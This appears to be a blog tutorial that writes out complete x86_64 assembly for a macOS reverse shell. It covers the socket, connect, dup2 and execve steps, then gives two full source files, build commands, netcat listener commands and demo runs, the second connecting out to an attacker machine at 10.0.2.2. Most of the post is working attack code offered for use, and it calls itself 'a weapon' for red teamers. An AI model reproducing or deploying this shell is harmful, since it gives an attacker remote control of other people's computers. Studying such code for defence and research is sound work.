8 minute read

Hello, cybersecurity enthusiasts and white hackers!

malware

In this article, I will walk you through an assembly code that creates a reverse shell on a macOS system using Intel x86_64 architecture. We will go through the code step by step, explaining each part in simple terms.

practical example

Let’s create a minimalist example of how malware can create a reverse shell.

First of all, we need a creating socket:

; socket(AF_INET, SOCK_STREAM,0);
push 0x2             ; store 0x2 on stack
pop rdi              ; pop this value into rdi -> AF_INET

push 0x1             ; store 0x1 on stack
pop rsi              ; pop this value into rsi -> SOCK_STREAM

xor rdx,rdx          ; null out rdx -> 0x00

push 97              ; socket() syscall - 97
pop rax
bts rax,25
syscall

What’s happening here? The first two push and pop instructions set up the values for the socket call. AF_INET (0x2) indicates the use of IPv4. SOCK_STREAM (0x1) specifies that we want a stream socket (TCP).

The xor rdx,rdx instruction zeroes out the rdx register, which in this case means that we are not using any additional flags for the socket call.

Finally, the syscall instruction makes the socket() system call to create the socket.

This step essentially sets up a socket that will later be used to establish a connection to the attacker’s machine.

At the next step, we need to connecting to the attacker’s machine. Generally it’s looks like this:

; connect(sockt, (struct sockaddr *) &revsockaddr,sizeof(revsockaddr));
mov rdi,r9           ; rdi -> socket file descriptor

; sockaddr
xor rsi,rsi          ; null out rsi
push rsi             ; sin_zero

mov rsi,0x0100007F5C110201 ; 0x01 0x02 0x11 0x5C 0x0A 0x00 0x02 0x02
dec rsi              ; sin_len = 0x00 after decrement
push rsi
push rsp
pop rsi

;; sizeof(addr)
push 0x10            ; place 0x10 (16) on stack
pop rdx              ; rdx -> sizeof struct -> 16 bytes -> 0x10

;; syscall connect()
push 98              ; connect() syscall - 98
pop rax
bts rax,25
syscall

As you can see from the first comment, mov rdi,r9 instruction puts the socket file descriptor (r9) into the rdi register, which is the first argument for the connect() syscall.

Then, the xor rsi,rsi and push rsi zero out the rsi register to represent sin_zero in the sockaddr_in structure, which is a structure for storing the IP address and port.

For simplicity, in this example, the IP address 0x0100007F is 127.0.0.1 (localhost), and the port 0x5C110201 corresponds to the attacker’s port 4444.

The syscall instruction makes the connect() system call to establish a connection with the specified IP and port.

So, this part of the code connects the compromised machine to a remote attacker, which allows the attacker to communicate with the machine.

Then, we need to duplicating the file descriptors (dup2). What does it mean in ASM code? First of all, the dup2 syscall is used to duplicate the socket file descriptor (r9) for the stdin, stdout, and stderr. Then, code loops through the file descriptors (2, 1, and 0) and duplicates the socket into these standard input/output/error channels. Finally, the dec rsi and jns dup2_loop instructions ensure that this loop continues until all file descriptors have been duplicated.

Full source code for this part is looks like this:

; dup2(connfd,i)
mov rdi,r9           ; rdi -> Socket file descriptor from r9
push 2
pop rsi              ; rsi -> 2
dup2_loop:
push 90              ; dup2() syscall - 90
pop rax
bts rax,25
syscall

dec rsi              ; decrementing rsi by 1
jns dup2_loop        ; jump back to dup2_loop if rsi>=0

this allows the attacker to control the machine via the same socket they used to connect, making the compromised system’s standard input/output go through the attacker’s connection.

In the last part of our malware we need executing the /bin/zsh shell:

; execve("/bin/zsh", "/bin/zsh", NULL);
xor rdx,rdx          ; rdx -> NULL

push rdx             ; store NULL on stack
mov rbx,'/bin/zsh'   ; store /bin/zsh in rbx
push rbx             ; push it onto the stack
mov rdi,rsp          ; rdi -> /bin/zsh

push rdx             ; argv[1] -> NULL
push rdi             ; argv[0] -> /bin/zsh
mov rsi,rsp          ; store {"/bin/zsh",NULL} in rsi

push 59              ; execve() syscall - 59
pop rax
bts rax,25
syscall

What’s happening in this last part of our code? The xor rdx,rdx nullifies rdx, which is used for argv[1] (the second argument to execve()). Then, the program prepares the arguments for the execve() system call, which is used to launch a program (/bin/zsh in this case). Then, rdi holds the path to the shell (/bin/zsh), and rsi holds the arguments for the shell (just the path and NULL). Finally, the syscall instruction then triggers execve() to run the shell.

This step is final step: it runs a new shell on the compromised machine, providing the attacker with full control over the system.

If we summarise our full code, it does the following:

It creates a socket connection to a remote machine.
It establishes the connection.
It duplicates the socket file descriptor for stdin, stdout, and stderr.
It executes a shell (/bin/zsh) to provide the attacker with control over the system.

So, full source code for the first example is looks like this (hack.asm):

bits 64

global start

start:
   ; socket(AF_INET, SOCK_STREAM,0);
   push 0x2             ; store 0x2 on stack
   pop rdi              ; pop this value into rdi -> AF_INET

   push 0x1             ; store 0x1 on stack
   pop rsi              ; pop this value into rsi -> SOCK_STREAM

   xor rdx,rdx          ; null out rdx -> 0x00

   push 97              ; socket() syscall - 97
   pop rax
   bts rax,25
   syscall

   mov r9,rax           ; save socket fd in r9

   ; connect(sockt, (struct sockaddr *) &revsockaddr,sizeof(revsockaddr));
   mov rdi,r9           ; rdi -> socket file descriptor

   ; sockaddr
   xor rsi,rsi          ; null out rsi
   push rsi             ; sin_zero

   mov rsi,0x0100007F5C110201 ; 0x01 0x02 0x11 0x5C 0x0A 0x00 0x02 0x02
   dec rsi              ; sin_len = 0x00 after decrement
   push rsi
   push rsp
   pop rsi

   ;; sizeof(addr)
   push 0x10            ; place 0x10 (16) on stack
   pop rdx              ; rdx -> sizeof struct -> 16 bytes -> 0x10

   ;; syscall connect()
   push 98             ; connect() syscall - 98
   pop rax
   bts rax,25
   syscall


   ; dup2(connfd,i)
   mov rdi,r9          ; rdi -> Socket file descriptor from r9
   push 2
   pop rsi              ; rsi -> 2

dup2_loop:
   push 90              ; dup2() syscall - 90
   pop rax
   bts rax,25
   syscall

   dec rsi              ; decrementing rsi by 1
   jns dup2_loop        ; Jump back to dup2_loop if rsi>=0

   ; execve("/bin/zsh", "/bin/zsh", NULL);
   xor rdx,rdx          ; rdx -> NULL

   push rdx             ; store NULL on stack
   mov rbx,'/bin/zsh'   ; store /bin/zsh in rbx
   push rbx             ; push it onto the stack
   mov rdi,rsp          ; rdi -> /bin/zsh

   push rdx             ; argv[1] -> NULL
   push rdi             ; argv[0] -> /bin/zsh
   mov rsi,rsp          ; store {"/bin/zsh",NULL} in rsi

   push 59              ; execve() syscall - 59
   pop rax
   bts rax,25
   syscall

Understanding how this works is crucial for both attackers and defenders, as it shows the fundamental steps of creating a reverse shell.

demo

Let’s go to see everything in action. First of all, copy to the MacOS VM (macos-sonoma in my case) and compile:

nasm -f macho64 hack.asm -o hack.o
ld -arch x86_64 -macos_version_min 14.0 -e start -static -o hack hack.o

malware

Then, prepare netcat listener in the same host:

nc -l -p 4444

malware

Then, run our reverse shell:

./hack

malware

malware

malware

As you can see, everything is worked as expected! =^..^=

practical example 2

In this case, I just update the IP address in the asm script. Instead of using 127.0.0.1 I will work with my Kali’s address:

10.0.2.2

So, this is the only difference. So full source code for the second example is looks like this hack2.asm:

bits 64

global start

start:
   ; socket(AF_INET, SOCK_STREAM,0);
   push 0x2             ; store 0x2 on stack
   pop rdi              ; pop this value into rdi -> AF_INET

   push 0x1             ; store 0x1 on stack
   pop rsi              ; pop this value into rsi -> SOCK_STREAM

   xor rdx,rdx          ; null out rdx -> 0x00

   push 97              ; socket() syscall - 97
   pop rax
   bts rax,25
   syscall

   mov r9,rax           ; save socket fd in r9

   ; connect(sockt, (struct sockaddr *) &revsockaddr,sizeof(revsockaddr));
   mov rdi,r9           ; rdi -> socket file descriptor

   ; sockaddr
   xor rsi,rsi          ; null out rsi
   push rsi             ; sin_zero

   mov rsi,0x0202000A5C110201 ; 0x01 0x02 0x11 0x5C 0x0A 0x00 0x02 0x02
   dec rsi              ; sin_len = 0x00 after decrement
   push rsi
   push rsp
   pop rsi

   ;; sizeof(addr)
   push 0x10            ; place 0x10 (16) on stack
   pop rdx              ; rdx -> sizeof struct -> 16 bytes -> 0x10

   ;; syscall connect()
   push 98             ; connect() syscall - 98
   pop rax
   bts rax,25
   syscall


   ; dup2(connfd,i)
   mov rdi,r9          ; rdi -> socket file descriptor from r9
   push 2
   pop rsi              ; rsi -> 2
dup2_loop:
   push 90              ; dup2() syscall - 90
   pop rax
   bts rax,25
   syscall

   dec rsi              ; decrementing rsi by 1
   jns dup2_loop        ; jump back to dup2_loop if rsi>=0

   ; execve("/bin/zsh", "/bin/zsh", NULL);
   xor rdx,rdx          ; rdx -> NULL

   push rdx             ; store NULL on stack
   mov rbx,'/bin/zsh'   ; store /bin/zsh in rbx
   push rbx             ; push it onto the stack
   mov rdi,rsp          ; rdi -> /bin/zsh

   push rdx             ; argv[1] -> NULL
   push rdi             ; argv[0] -> /bin/zsh
   mov rsi,rsp          ; store {"/bin/zsh",NULL} in rsi

   push 59              ; execve() syscall - 59
   pop rax
   bts rax,25
   syscall

It follows the flow of: Creating a socket connection (socket() syscall).
Establishing a connection to a remote server (connect() syscall).
Redirecting input/output (dup2() syscall).
Executing a shell command (execve() syscall) - in this case, executing /bin/zsh (a shell in our Mac OS X).

demo 2

Let’s go to see second example in action. Compile:

nasm -f macho64 hack2.asm -o hack2.o
ld -arch x86_64 -macos_version_min 14.0 -e start -static -o hack2 hack2.o

malware

For checking correctness, you can analyse file info:

malware

So, all samples successfully compiled.

Then, prepare netcat listener in the kali host:

nc -nlvp 4444

malware

Then, run our reverse shell:

./hack2

malware

malware

malware

As you can see, our reverse shell is worked! Perfect! =^..^=

You can use objdump to disassemble our executables into machine code (hexadecimal byte values) and then format it into shellcode:

objdump -M intel -d hack

malware

That’s all today.

I hope this post is useful for malware researchers, macOS/Apple security researchers, C/C++ programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

XNU source code
Apple: XNU source code
Apple Open Source: Releases
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine